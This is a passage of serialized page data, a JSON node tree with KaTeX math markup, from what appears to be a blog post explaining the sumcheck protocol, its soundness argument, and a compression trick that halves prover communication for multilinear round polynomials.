109028,"style":92382},[3295],[109030],{"type":23,"tag":314,"props":109031,"children":109032},{},[],{"type":23,"tag":314,"props":109034,"children":109036},{"className":109035},[20954],[109037],{"type":28,"value":341},{"type":23,"tag":314,"props":109039,"children":109041},{"className":109040},[3264],[109042],{"type":28,"value":1600},{"type":23,"tag":314,"props":109044,"children":109046},{"className":109045},[20976],[109047],{"type":28,"value":431},{"type":23,"tag":314,"props":109049,"children":109051},{"className":109050,"style":3345},[3344],[],{"type":23,"tag":314,"props":109053,"children":109055},{"className":109054},[3350],[109056],{"type":28,"value":1130},{"type":23,"tag":314,"props":109058,"children":109060},{"className":109059,"style":3345},[3344],[],{"type":23,"tag":314,"props":109062,"children":109064},{"className":109063},[3253],[109065,109069,109126,109131,109136],{"type":23,"tag":314,"props":109066,"children":109068},{"className":109067,"style":3365},[3258],[],{"type":23,"tag":314,"props":109070,"children":109072},{"className":109071},[3264],[109073,109078],{"type":23,"tag":314,"props":109074,"children":109076},{"className":109075,"style":92785},[3264,20825],[109077],{"type":28,"value":108550},{"type":23,"tag":314,"props":109079,"children":109081},{"className":109080},[3280],[109082],{"type":23,"tag":314,"props":109083,"children":109085},{"className":109084},[3285,20879],[109086,109115],{"type":23,"tag":314,"props":109087,"children":109089},{"className":109088},[3290],[109090,109110],{"type":23,"tag":314,"props":109091,"children":109093},{"className":109092,"style":92828},[3295],[109094],{"type":23,"tag":314,"props":109095,"children":109096},{"style":92832},[109097,109101],{"type":23,"tag":314,"props":109098,"children":109100},{"className":109099,"style":3305},[3304],[],{"type":23,"tag":314,"props":109102,"children":109104},{"className":109103},[3310,3311,3312,3313],[109105],{"type":23,"tag":314,"props":109106,"children":109108},{"className":109107},[3264,20825,3313],[109109],{"type":28,"value":2993},{"type":23,"tag":314,"props":109111,"children":109113},{"className":109112},[20982],[109114],{"type":28,"value":20985},{"type":23,"tag":314,"props":109116,"children":109118},{"className":109117},[3290],[109119],{"type":23,"tag":314,"props":109120,"children":109122},{"className":109121,"style":92382},[3295],[109123],{"type":23,"tag":314,"props":109124,"children":109125},{},[],{"type":23,"tag":314,"props":109127,"children":109129},{"className":109128},[20954],[109130],{"type":28,"value":341},{"type":23,"tag":314,"props":109132,"children":109134},{"className":109133},[3264],[109135],{"type":28,"value":3267},{"type":23,"tag":314,"props":109137,"children":109139},{"className":109138},[20976],[109140],{"type":28,"value":431},{"type":28,"value":109142}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":94,"props":109144,"children":109146},{"className":109145},[3237,3238],[109147],{"type":23,"tag":314,"props":109148,"children":109150},{"className":109149},[3243],[109151],{"type":23,"tag":314,"props":109152,"children":109154},{"className":109153,"ariaHidden":1481},[3248],[109155],{"type":23,"tag":314,"props":109156,"children":109158},{"className":109157},[3253],[109159,109163],{"type":23,"tag":314,"props":109160,"children":109162},{"className":109161,"style":20820},[3258],[],{"type":23,"tag":314,"props":109164,"children":109166},{"className":109165,"style":92533},[3264,20825],[109167],{"type":28,"value":92536},{"type":28,"value":109169},", then they must lie about ",{"type":23,"tag":94,"props":109171,"children":109173},{"className":109172},[3237,3238],[109174],{"type":23,"tag":314,"props":109175,"children":109177},{"className":109176},[3243],[109178],{"type":23,"tag":314,"props":109179,"children":109181},{"className":109180,"ariaHidden":1481},[3248],[109182],{"type":23,"tag":314,"props":109183,"children":109185},{"className":109184},[3253],[109186,109191],{"type":23,"tag":314,"props":109187,"children":109190},{"className":109188,"style":109189},[3258],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":314,"props":109192,"children":109194},{"className":109193},[3264],[109195,109200],{"type":23,"tag":314,"props":109196,"children":109198},{"className":109197,"style":92785},[3264,20825],[109199],{"type":28,"value":108550},{"type":23,"tag":314,"props":109201,"children":109203},{"className":109202},[3280],[109204],{"type":23,"tag":314,"props":109205,"children":109207},{"className":109206},[3285,20879],[109208,109237],{"type":23,"tag":314,"props":109209,"children":109211},{"className":109210},[3290],[109212,109232],{"type":23,"tag":314,"props":109213,"children":109215},{"className":109214,"style":92828},[3295],[109216],{"type":23,"tag":314,"props":109217,"children":109218},{"style":92832},[109219,109223],{"type":23,"tag":314,"props":109220,"children":109222},{"className":109221,"style":3305},[3304],[],{"type":23,"tag":314,"props":109224,"children":109226},{"className":109225},[3310,3311,3312,3313],[109227],{"type":23,"tag":314,"props":109228,"children":109230},{"className":109229},[3264,20825,3313],[109231],{"type":28,"value":2993},{"type":23,"tag":314,"props":109233,"children":109235},{"className":109234},[20982],[109236],{"type":28,"value":20985},{"type":23,"tag":314,"props":109238,"children":109240},{"className":109239},[3290],[109241],{"type":23,"tag":314,"props":109242,"children":109244},{"className":109243,"style":92382},[3295],[109245],{"type":23,"tag":314,"props":109246,"children":109247},{},[],{"type":28,"value":109249}," somewhere. But since the verifier picks a random ",{"type":23,"tag":94,"props":109251,"children":109253},{"className":109252},[3237,3238],[109254],{"type":23,"tag":314,"props":109255,"children":109257},{"className":109256},[3243],[109258],{"type":23,"tag":314,"props":109259,"children":109261},{"className":109260,"ariaHidden":1481},[3248],[109262],{"type":23,"tag":314,"props":109263,"children":109265},{"className":109264},[3253],[109266,109271],{"type":23,"tag":314,"props":109267,"children":109270},{"className":109268,"style":109269},[3258],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":314,"props":109272,"children":109274},{"className":109273},[3264],[109275,109280],{"type":23,"tag":314,"props":109276,"children":109278},{"className":109277,"style":92299},[3264,20825],[109279],{"type":28,"value":93118},{"type":23,"tag":314,"props":109281,"children":109283},{"className":109282},[3280],[109284],{"type":23,"tag":314,"props":109285,"children":109287},{"className":109286},[3285,20879],[109288,109318],{"type":23,"tag":314,"props":109289,"children":109291},{"className":109290},[3290],[109292,109313],{"type":23,"tag":314,"props":109293,"children":109295},{"className":109294,"style":92828},[3295],[109296],{"type":23,"tag":314,"props":109297,"children":109299},{"style":109298},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[109300,109304],{"type":23,"tag":314,"props":109301,"children":109303},{"className":109302,"style":3305},[3304],[],{"type":23,"tag":314,"props":109305,"children":109307},{"className":109306},[3310,3311,3312,3313],[109308],{"type":23,"tag":314,"props":109309,"children":109311},{"className":109310},[3264,20825,3313],[109312],{"type":28,"value":2993},{"type":23,"tag":314,"props":109314,"children":109316},{"className":109315},[20982],[109317],{"type":28,"value":20985},{"type":23,"tag":314,"props":109319,"children":109321},{"className":109320},[3290],[109322],{"type":23,"tag":314,"props":109323,"children":109325},{"className":109324,"style":92382},[3295],[109326],{"type":23,"tag":314,"props":109327,"children":109328},{},[],{"type":28,"value":109330},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":18130,"props":109332,"children":109334},{"id":109333},"the-compression-trick",[109335],{"type":28,"value":109336},"The Compression Trick",{"type":23,"tag":24,"props":109338,"children":109339},{},[109340,109342,109492,109494,109774],{"type":28,"value":109341},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":94,"props":109343,"children":109345},{"className":109344},[3237,3238],[109346],{"type":23,"tag":314,"props":109347,"children":109349},{"className":109348},[3243],[109350],{"type":23,"tag":314,"props":109351,"children":109353},{"className":109352,"ariaHidden":1481},[3248],[109354,109447,109474],{"type":23,"tag":314,"props":109355,"children":109357},{"className":109356},[3253],[109358,109362,109419,109424,109429,109434,109438,109443],{"type":23,"tag":314,"props":109359,"children":109361},{"className":109360,"style":3365},[3258],[],{"type":23,"tag":314,"props":109363,"children":109365},{"className":109364},[3264],[109366,109371],{"type":23,"tag":314,"props":109367,"children":109369},{"className":109368,"style":92785},[3264,20825],[109370],{"type":28,"value":108550},{"type":23,"tag":314,"props":109372,"children":109374},{"className":109373},[3280],[109375],{"type":23,"tag":314,"props":109376,"children":109378},{"className":109377},[3285,20879],[109379,109408],{"type":23,"tag":314,"props":109380,"children":109382},{"className":109381},[3290],[109383,109403],{"type":23,"tag":314,"props":109384,"children":109386},{"className":109385,"style":92828},[3295],[109387],{"type":23,"tag":314,"props":109388,"children":109389},{"style":92832},[109390,109394],{"type":23,"tag":314,"props":109391,"children":109393},{"className":109392,"style":3305},[3304],[],{"type":23,"tag":314,"props":109395,"children":109397},{"className":109396},[3310,3311,3312,3313],[109398],{"type":23,"tag":314,"props":109399,"children":109401},{"className":109400},[3264,20825,3313],[109402],{"type":28,"value":2993},{"type":23,"tag":314,"props":109404,"children":109406},{"className":109405},[20982],[109407],{"type":28,"value":20985},{"type":23,"tag":314,"props":109409,"children":109411},{"className":109410},[3290],[109412],{"type":23,"tag":314,"props":109413,"children":109415},{"className":109414,"style":92382},[3295],[109416],{"type":23,"tag":314,"props":109417,"children":109418},{},[],{"type":23,"tag":314,"props":109420,"children":109422},{"className":109421},[20954],[109423],{"type":28,"value":341},{"type":23,"tag":314,"props":109425,"children":109427},{"className":109426,"style":94319},[3264,20825],[109428],{"type":28,"value":5388},{"type":23,"tag":314,"props":109430,"children":109432},{"className":109431},[20976],[109433],{"type":28,"value":431},{"type":23,"tag":314,"props":109435,"children":109437},{"className":109436,"style":3442},[3344],[],{"type":23,"tag":314,"props":109439,"children":109441},{"className":109440},[3447],[109442],{"type":28,"value":1102},{"type":23,"tag":314,"props":109444,"children":109446},{"className":109445,"style":3442},[3344],[],{"type":23,"tag":314,"props":109448,"children":109450},{"className":109449},[3253],[109451,109456,109461,109465,109470],{"type":23,"tag":314,"props":109452,"children":109455},{"className":109453,"style":109454},[3258],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":314,"props":109457,"children":109459},{"className":109458},[3264,20825],[109460],{"type":28,"value":31},{"type":23,"tag":314,"props":109462,"children":109464},{"className":109463,"style":3345},[3344],[],{"type":23,"tag":314,"props":109466,"children":109468},{"className":109467},[3350],[109469],{"type":28,"value":1130},{"type":23,"tag":314,"props":109471,"children":109473},{"className":109472,"style":3345},[3344],[],{"type":23,"tag":314,"props":109475,"children":109477},{"className":109476},[3253],[109478,109482,109487],{"type":23,"tag":314,"props":109479,"children":109481},{"className":109480,"style":92214},[3258],[],{"type":23,"tag":314,"props":109483,"children":109485},{"className":109484},[3264,20825],[109486],{"type":28,"value":2477},{"type":23,"tag":314,"props":109488,"children":109490},{"className":109489,"style":94319},[3264,20825],[109491],{"type":28,"value":5388},{"type":28,"value":109493}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":94,"props":109495,"children":109497},{"className":109496},[3237,3238],[109498],{"type":23,"tag":314,"props":109499,"children":109501},{"className":109500},[3243],[109502],{"type":23,"tag":314,"props":109503,"children":109505},{"className":109504,"ariaHidden":1481},[3248],[109506,109599,109692],{"type":23,"tag":314,"props":109507,"children":109509},{"className":109508},[3253],[109510,109514,109571,109576,109581,109586,109590,109595],{"type":23,"tag":314,"props":109511,"children":109513},{"className":109512,"style":3365},[3258],[],{"type":23,"tag":314,"props":109515,"children":109517},{"className":109516},[3264],[109518,109523],{"type":23,"tag":314,"props":109519,"children":109521},{"className":109520,"style":92785},[3264,20825],[109522],{"type":28,"value":108550},{"type":23,"tag":314,"props":109524,"children":109526},{"className":109525},[3280],[109527],{"type":23,"tag":314,"props":109528,"children":109530},{"className":109529},[3285,20879],[109531,109560],{"type":23,"tag":314,"props":109532,"children":109534},{"className":109533},[3290],[109535,109555],{"type":23,"tag":314,"props":109536,"children":109538},{"className":109537,"style":92828},[3295],[109539],{"type":23,"tag":314,"props":109540,"children":109541},{"style":92832},[109542,109546],{"type":23,"tag":314,"props":109543,"children":109545},{"className":109544,"style":3305},[3304],[],{"type":23,"tag":314,"props":109547,"children":109549},{"className":109548},[3310,3311,3312,3313],[109550],{"type":23,"tag":314,"props":109551,"children":109553},{"className":109552},[3264,20825,3313],[109554],{"type":28,"value":2993},{"type":23,"tag":314,"props":109556,"children":109558},{"className":109557},[20982],[109559],{"type":28,"value":20985},{"type":23,"tag":314,"props":109561,"children":109563},{"className":109562},[3290],[109564],{"type":23,"tag":314,"props":109565,"children":109567},{"className":109566,"style":92382},[3295],[109568],{"type":23,"tag":314,"props":109569,"children":109570},{},[],{"type":23,"tag":314,"props":109572,"children":109574},{"className":109573},[20954],[109575],{"type":28,"value":341},{"type":23,"tag":314,"props":109577,"children":109579},{"className":109578},[3264],[109580],{"type":28,"value":1600},{"type":23,"tag":314,"props":109582,"children":109584},{"className":109583},[20976],[109585],{"type":28,"value":431},{"type":23,"tag":314,"props":109587,"children":109589},{"className":109588,"style":3345},[3344],[],{"type":23,"tag":314,"props":109591,"children":109593},{"className":109592},[3350],[109594],{"type":28,"value":1130},{"type":23,"tag":314,"props":109596,"children":109598},{"className":109597,"style":3345},[3344],[],{"type":23,"tag":314,"props":109600,"children":109602},{"className":109601},[3253],[109603,109607,109664,109669,109674,109679,109683,109688],{"type":23,"tag":314,"props":109604,"children":109606},{"className":109605,"style":3365},[3258],[],{"type":23,"tag":314,"props":109608,"children":109610},{"className":109609},[3264],[109611,109616],{"type":23,"tag":314,"props":109612,"children":109614},{"className":109613,"style":92785},[3264,20825],[109615],{"type":28,"value":108550},{"type":23,"tag":314,"props":109617,"children":109619},{"className":109618},[3280],[109620],{"type":23,"tag":314,"props":109621,"children":109623},{"className":109622},[3285,20879],[109624,109653],{"type":23,"tag":314,"props":109625,"children":109627},{"className":109626},[3290],[109628,109648],{"type":23,"tag":314,"props":109629,"children":109631},{"className":109630,"style":92828},[3295],[109632],{"type":23,"tag":314,"props":109633,"children":109634},{"style":92832},[109635,109639],{"type":23,"tag":314,"props":109636,"children":109638},{"className":109637,"style":3305},[3304],[],{"type":23,"tag":314,"props":109640,"children":109642},{"className":109641},[3310,3311,3312,3313],[109643],{"type":23,"tag":314,"props":109644,"children":109646},{"className":109645},[3264,20825,3313],[109647],{"type":28,"value":2993},{"type":23,"tag":314,"props":109649,"children":109651},{"className":109650},[20982],[109652],{"type":28,"value":20985},{"type":23,"tag":314,"props":109654,"children":109656},{"className":109655},[3290],[109657],{"type":23,"tag":314,"props":109658,"children":109660},{"className":109659,"style":92382},[3295],[109661],{"type":23,"tag":314,"props":109662,"children":109663},{},[],{"type":23,"tag":314,"props":109665,"children":109667},{"className":109666},[20954],[109668],{"type":28,"value":341},{"type":23,"tag":314,"props":109670,"children":109672},{"className":109671},[3264],[109673],{"type":28,"value":3267},{"type":23,"tag":314,"props":109675,"children":109677},{"className":109676},[20976],[109678],{"type":28,"value":431},{"type":23,"tag":314,"props":109680,"children":109682},{"className":109681,"style":3442},[3344],[],{"type":23,"tag":314,"props":109684,"children":109686},{"className":109685},[3447],[109687],{"type":28,"value":1102},{"type":23,"tag":314,"props":109689,"children":109691},{"className":109690,"style":3442},[3344],[],{"type":23,"tag":314,"props":109693,"children":109695},{"className":109694},[3253],[109696,109701],{"type":23,"tag":314,"props":109697,"children":109700},{"className":109698,"style":109699},[3258],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":314,"props":109702,"children":109704},{"className":109703},[3264],[109705,109710],{"type":23,"tag":314,"props":109706,"children":109708},{"className":109707,"style":92533},[3264,20825],[109709],{"type":28,"value":92536},{"type":23,"tag":314,"props":109711,"children":109713},{"className":109712},[3280],[109714],{"type":23,"tag":314,"props":109715,"children":109717},{"className":109716},[3285,20879],[109718,109762],{"type":23,"tag":314,"props":109719,"children":109721},{"className":109720},[3290],[109722,109757],{"type":23,"tag":314,"props":109723,"children":109725},{"className":109724,"style":92828},[3295],[109726],{"type":23,"tag":314,"props":109727,"children":109729},{"style":109728},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[109730,109734],{"type":23,"tag":314,"props":109731,"children":109733},{"className":109732,"style":3305},[3304],[],{"type":23,"tag":314,"props":109735,"children":109737},{"className":109736},[3310,3311,3312,3313],[109738],{"type":23,"tag":314,"props":109739,"children":109741},{"className":109740},[3264,3313],[109742,109747,109752],{"type":23,"tag":314,"props":109743,"children":109745},{"className":109744},[3264,20825,3313],[109746],{"type":28,"value":2993},{"type":23,"tag":314,"props":109748,"children":109750},{"className":109749},[3350,3313],[109751],{"type":28,"value":3324},{"type":23,"tag":314,"props":109753,"children":109755},{"className":109754},[3264,3313],[109756],{"type":28,"value":3267},{"type":23,"tag":314,"props":109758,"children":109760},{"className":109759},[20982],[109761],{"type":28,"value":20985},{"type":23,"tag":314,"props":109763,"children":109765},{"className":109764},[3290],[109766],{"type":23,"tag":314,"props":109767,"children":109770},{"className":109768,"style":109769},[3295],"height:0.2083em;",[109771],{"type":23,"tag":314,"props":109772,"children":109773},{},[],{"type":28,"value":109775}," (the previous claim), we have:",{"type":23,"tag":24,"props":109777,"children":109778},{},[109779],{"type":23,"tag":94,"props":109780,"children":109782},{"className":109781},[3237,3238],[109783],{"type":23,"tag":314,"props":109784,"children":109786},{"className":109785},[3243],[109787],{"type":23,"tag":314,"props":109788,"children":109790},{"className":109789,"ariaHidden":1481},[3248],[109791,109817,109848,109879,109980,110006,110098],{"type":23,"tag":314,"props":109792,"children":109794},{"className":109793},[3253],[109795,109799,109804,109808,109813],{"type":23,"tag":314,"props":109796,"children":109798},{"className":109797,"style":109454},[3258],[],{"type":23,"tag":314,"props":109800,"children":109802},{"className":109801},[3264,20825],[109803],{"type":28,"value":31},{"type":23,"tag":314,"props":109805,"children":109807},{"className":109806,"style":3345},[3344],[],{"type":23,"tag":314,"props":109809,"children":109811},{"className":109810},[3350],[109812],{"type":28,"value":1130},{"type":23,"tag":314,"props":109814,"children":109816},{"className":109815,"style":3345},[3344],[],{"type":23,"tag":314,"props":109818,"children":109820},{"className":109819},[3253],[109821,109825,109830,109835,109839,109844],{"type":23,"tag":314,"props":109822,"children":109824},{"className":109823,"style":3365},[3258],[],{"type":23,"tag":314,"props":109826,"children":109828},{"className":109827},[20954],[109829],{"type":28,"value":341},{"type":23,"tag":314,"props":109831,"children":109833},{"className":109832},[3264,20825],[109834],{"type":28,"value":31},{"type":23,"tag":314,"props":109836,"children":109838},{"className":109837,"style":3345},[3344],[],{"type":23,"tag":314,"props":109840,"children":109842},{"className":109841},[3350],[109843],{"type":28,"value":1130},{"type":23,"tag":314,"props":109845,"children":109847},{"className":109846,"style":3345},[3344],[],{"type":23,"tag":314,"props":109849,"children":109851},{"className":109850},[3253],[109852,109856,109861,109866,109870,109875],{"type":23,"tag":314,"props":109853,"children":109855},{"className":109854,"style":3365},[3258],[],{"type":23,"tag":314,"props":109857,"children":109859},{"className":109858},[3264,20825],[109860],{"type":28,"value":2477},{"type":23,"tag":314,"props":109862,"children":109864},{"className":109863},[20976],[109865],{"type":28,"value":431},{"type":23,"tag":314,"props":109867,"children":109869},{"className":109868,"style":3442},[3344],[],{"type":23,"tag":314,"props":109871,"children":109873},{"className":109872},[3447],[109874],{"type":28,"value":1102},{"type":23,"tag":314,"props":109876,"children":109878},{"className":109877,"style":3442},[3344],[],{"type":23,"tag":314,"props":109880,"children":109882},{"className":109881},[3253],[109883,109887,109958,109962,109966,109972,109976],{"type":23,"tag":314,"props":109884,"children":109886},{"className":109885,"style":109699},[3258],[],{"type":23,"tag":314,"props":109888,"children":109890},{"className":109889},[3264],[109891,109896],{"type":23,"tag":314,"props":109892,"children":109894},{"className":109893,"style":92533},[3264,20825],[109895],{"type":28,"value":92536},{"type":23,"tag":314,"props":109897,"children":109899},{"className":109898},[3280],[109900],{"type":23,"tag":314,"props":109901,"children":109903},{"className":109902},[3285,20879],[109904,109947],{"type":23,"tag":314,"props":109905,"children":109907},{"className":109906},[3290],[109908,109942],{"type":23,"tag":314,"props":109909,"children":109911},{"className":109910,"style":92828},[3295],[109912],{"type":23,"tag":314,"props":109913,"children":109914},{"style":109728},[109915,109919],{"type":23,"tag":314,"props":109916,"children":109918},{"className":109917,"style":3305},[3304],[],{"type":23,"tag":314,"props":109920,"children":109922},{"className":109921},[3310,3311,3312,3313],[109923],{"type":23,"tag":314,"props":109924,"children":109926},{"className":109925},[3264,3313],[109927,109932,109937],{"type":23,"tag":314,"props":109928,"children":109930},{"className":109929},[3264,20825,3313],[109931],{"type":28,"value":2993},{"type":23,"tag":314,"props":109933,"children":109935},{"className":109934},[3350,3313],[109936],{"type":28,"value":3324},{"type":23,"tag":314,"props":109938,"children":109940},{"className":109939},[3264,3313],[109941],{"type":28,"value":3267},{"type":23,"tag":314,"props":109943,"children":109945},{"className":109944},[20982],[109946],{"type":28,"value":20985},{"type":23,"tag":314,"props":109948,"children":109950},{"className":109949},[3290],[109951],{"type":23,"tag":314,"props":109952,"children":109954},{"className":109953,"style":109769},[3295],[109955],{"type":23,"tag":314,"props":109956,"children":109957},{},[],{"type":23,"tag":314,"props":109959,"children":109961},{"className":109960,"style":3442},[3344],[],{"type":23,"tag":314,"props":109963,"children":109965},{"className":109964,"style":3442},[3344],[],{"type":23,"tag":314,"props":109967,"children":109969},{"className":109968},[3447],[109970],{"type":28,"value":109971},"⟹",{"type":23,"tag":314,"props":109973,"children":109975},{"className":109974,"style":3442},[3344],[],{"type":23,"tag":314,"props":109977,"children":109979},{"className":109978,"style":3442},[3344],[],{"type":23,"tag":314,"props":109981,"children":109983},{"className":109982},[3253],[109984,109988,109993,109997,110002],{"type":23,"tag":314,"props":109985,"children":109987},{"className":109986,"style":92214},[3258],[],{"type":23,"tag":314,"props":109989,"children":109991},{"className":109990},[3264,20825],[109992],{"type":28,"value":2477},{"type":23,"tag":314,"props":109994,"children":109996},{"className":109995,"style":3442},[3344],[],{"type":23,"tag":314,"props":109998,"children":110000},{"className":109999},[3447],[110001],{"type":28,"value":1102},{"type":23,"tag":314,"props":110003,"children":110005},{"className":110004,"style":3442},[3344],[],{"type":23,"tag":314,"props":110007,"children":110009},{"className":110008},[3253],[110010,110014,110085,110089,110094],{"type":23,"tag":314,"props":110011,"children":110013},{"className":110012,"style":109699},[3258],[],{"type":23,"tag":314,"props":110015,"children":110017},{"className":110016},[3264],[110018,110023],{"type":23,"tag":314,"props":110019,"children":110021},{"className":110020,"style":92533},[3264,20825],[110022],{"type":28,"value":92536},{"type":23,"tag":314,"props":110024,"children":110026},{"className":110025},[3280],[110027],{"type":23,"tag":314,"props":110028,"children":110030},{"className":110029},[3285,20879],[110031,110074],{"type":23,"tag":314,"props":110032,"children":110034},{"className":110033},[3290],[110035,110069],{"type":23,"tag":314,"props":110036,"children":110038},{"className":110037,"style":92828},[3295],[110039],{"type":23,"tag":314,"props":110040,"children":110041},{"style":109728},[110042,110046],{"type":23,"tag":314,"props":110043,"children":110045},{"className":110044,"style":3305},[3304],[],{"type":23,"tag":314,"props":110047,"children":110049},{"className":110048},[3310,3311,3312,3313],[110050],{"type":23,"tag":314,"props":110051,"children":110053},{"className":110052},[3264,3313],[110054,110059,110064],{"type":23,"tag":314,"props":110055,"children":110057},{"className":110056},[3264,20825,3313],[110058],{"type":28,"value":2993},{"type":23,"tag":314,"props":110060,"children":110062},{"className":110061},[3350,3313],[110063],{"type":28,"value":3324},{"type":23,"tag":314,"props":110065,"children":110067},{"className":110066},[3264,3313],[110068],{"type":28,"value":3267},{"type":23,"tag":314,"props":110070,"children":110072},{"className":110071},[20982],[110073],{"type":28,"value":20985},{"type":23,"tag":314,"props":110075,"children":110077},{"className":110076},[3290],[110078],{"type":23,"tag":314,"props":110079,"children":110081},{"className":110080,"style":109769},[3295],[110082],{"type":23,"tag":314,"props":110083,"children":110084},{},[],{"type":23,"tag":314,"props":110086,"children":110088},{"className":110087,"style":3345},[3344],[],{"type":23,"tag":314,"props":110090,"children":110092},{"className":110091},[3350],[110093],{"type":28,"value":3324},{"type":23,"tag":314,"props":110095,"children":110097},{"className":110096,"style":3345},[3344],[],{"type":23,"tag":314,"props":110099,"children":110101},{"className":110100},[3253],[110102,110106,110111],{"type":23,"tag":314,"props":110103,"children":110105},{"className":110104,"style":93330},[3258],[],{"type":23,"tag":314,"props":110107,"children":110109},{"className":110108},[3264],[110110],{"type":28,"value":2378},{"type":23,"tag":314,"props":110112,"children":110114},{"className":110113},[3264,20825],[110115],{"type":28,"value":31},{"type":23,"tag":24,"props":110117,"children":110118},{},[110119,110121,110240,110242,110267],{"type":28,"value":110120},"So the prover only sends ",{"type":23,"tag":94,"props":110122,"children":110124},{"className":110123},[3237,3238],[110125],{"type":23,"tag":314,"props":110126,"children":110128},{"className":110127},[3243],[110129],{"type":23,"tag":314,"props":110130,"children":110132},{"className":110131,"ariaHidden":1481},[3248],[110133,110160],{"type":23,"tag":314,"props":110134,"children":110136},{"className":110135},[3253],[110137,110142,110147,110151,110156],{"type":23,"tag":314,"props":110138,"children":110141},{"className":110139,"style":110140},[3258],"height:0.4306em;",[],{"type":23,"tag":314,"props":110143,"children":110145},{"className":110144},[3264,20825],[110146],{"type":28,"value":31},{"type":23,"tag":314,"props":110148,"children":110150},{"className":110149,"style":3442},[3344],[],{"type":23,"tag":314,"props":110152,"children":110154},{"className":110153},[3447],[110155],{"type":28,"value":1102},{"type":23,"tag":314,"props":110157,"children":110159},{"className":110158,"style":3442},[3344],[],{"type":23,"tag":314,"props":110161,"children":110163},{"className":110162},[3253],[110164,110168,110225,110230,110235],{"type":23,"tag":314,"props":110165,"children":110167},{"className":110166,"style":3365},[3258],[],{"type":23,"tag":314,"props":110169,"children":110171},{"className":110170},[3264],[110172,110177],{"type":23,"tag":314,"props":110173,"children":110175},{"className":110174,"style":92785},[3264,20825],[110176],{"type":28,"value":108550},{"type":23,"tag":314,"props":110178,"children":110180},{"className":110179},[3280],[110181],{"type":23,"tag":314,"props":110182,"children":110184},{"className":110183},[3285,20879],[110185,110214],{"type":23,"tag":314,"props":110186,"children":110188},{"className":110187},[3290],[110189,110209],{"type":23,"tag":314,"props":110190,"children":110192},{"className":110191,"style":92828},[3295],[110193],{"type":23,"tag":314,"props":110194,"children":110195},{"style":92832},[110196,110200],{"type":23,"tag":314,"props":110197,"children":110199},{"className":110198,"style":3305},[3304],[],{"type":23,"tag":314,"props":110201,"children":110203},{"className":110202},[3310,3311,3312,3313],[110204],{"type":23,"tag":314,"props":110205,"children":110207},{"className":110206},[3264,20825,3313],[110208],{"type":28,"value":2993},{"type":23,"tag":314,"props":110210,"children":110212},{"className":110211},[20982],[110213],{"type":28,"value":20985},{"type":23,"tag":314,"props":110215,"children":110217},{"className":110216},[3290],[110218],{"type":23,"tag":314,"props":110219,"children":110221},{"className":110220,"style":92382},[3295],[110222],{"type":23,"tag":314,"props":110223,"children":110224},{},[],{"type":23,"tag":314,"props":110226,"children":110228},{"className":110227},[20954],[110229],{"type":28,"value":341},{"type":23,"tag":314,"props":110231,"children":110233},{"className":110232},[3264],[110234],{"type":28,"value":1600},{"type":23,"tag":314,"props":110236,"children":110238},{"className":110237},[20976],[110239],{"type":28,"value":431},{"type":28,"value":110241},", and the verifier recovers ",{"type":23,"tag":94,"props":110243,"children":110245},{"className":110244},[3237,3238],[110246],{"type":23,"tag":314,"props":110247,"children":110249},{"className":110248},[3243],[110250],{"type":23,"tag":314,"props":110251,"children":110253},{"className":110252,"ariaHidden":1481},[3248],[110254],{"type":23,"tag":314,"props":110255,"children":110257},{"className":110256},[3253],[110258,110262],{"type":23,"tag":314,"props":110259,"children":110261},{"className":110260,"style":92214},[3258],[],{"type":23,"tag":314,"props":110263,"children":110265},{"className":110264},[3264,20825],[110266],{"type":28,"value":2477},{"type":28,"value":110268},". This saves 50% on communication costs.",{"type":23,"tag":24,"props":110270,"children":110271},{},[110272],{"type":28,"value":110273},"The next claim in the chain is",{"type":23,"tag":24,"props":110275,"children":110276},{},[110277],{"type":23,"tag":94,"props":110278,"children":110280},{"className":110279},[3237,3238],[110281],{"type":23,"tag":314,"props":110282,"children":110284},{"className":110283},[3243],[110285],{"type":23,"tag":314,"props":110286,"children":110288},{"className":110287,"ariaHidden":1481},[3248],[110289,110368,110513,110539,110566,110644,110670,110767,110803,110881,110917,111005,111097],{"type":23,"tag":314,"props":110290,"children":110292},{"className":110291},[3253],[110293,110298,110355,110359,110364],{"type":23,"tag":314,"props":110294,"children":110297},{"className":110295,"style":110296},[3258],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":314,"props":110299,"children":110301},{"className":110300},[3264],[110302,110307],{"type":23,"tag":314,"props":110303,"children":110305},{"className":110304,"style":92533},[3264,20825],[110306],{"type":28,"value":92536},{"type":23,"tag":314,"props":110308,"children":110310},{"className":110309},[3280],[110311],{"type":23,"tag":314,"props":110312,"children":110314},{"className":110313},[3285,20879],[110315,110344],{"type":23,"tag":314,"props":110316,"children":110318},{"className":110317},[3290],[110319,110339],{"type":23,"tag":314,"props":110320,"children":110322},{"className":110321,"style":92828},[3295],[110323],{"type":23,"tag":314,"props":110324,"children":110325},{"style":109728},[110326,110330],{"type":23,"tag":314,"props":110327,"children":110329},{"className":110328,"style":3305},[3304],[],{"type":23,"tag":314,"props":110331,"children":110333},{"className":110332},[3310,3311,3312,3313],[110334],{"type":23,"tag":314,"props":110335,"children":110337},{"className":110336},[3264,20825,3313],[110338],{"type":28,"value":2993},{"type":23,"tag":314,"props":110340,"children":110342},{"className":110341},[20982],[110343],{"type":28,"value":20985},{"type":23,"tag":314,"props":110345,"children":110347},{"className":110346},[3290],[110348],{"type":23,"tag":314,"props":110349,"children":110351},{"className":110350,"style":92382},[3295],[110352],{"type":23,"tag":314,"props":110353,"children":110354},{},[],{"type":23,"tag":314,"props":110356,"children":110358},{"className":110357,"style":3442},[3344],[],{"type":23,"tag":314,"props":110360,"children":110362},{"className":110361},[3447],[110363],{"type":28,"value":1102},{"type":23,"tag":314,"props":110365,"children":110367},{"className":110366,"style":3442},[3344],[],{"type":23,"tag":314,"props":110369,"children":110371},{"className":110370},[3253],[110372,110376,110433,110438,110495,110500,110504,110509],{"type":23,"tag":314,"props":110373,"children":110375},{"className":110374,"style":3365},[3258],[],{"type":23,"tag":314,"props":110377,"children":110379},{"className":110378},[3264],[110380,110385],{"type":23,"t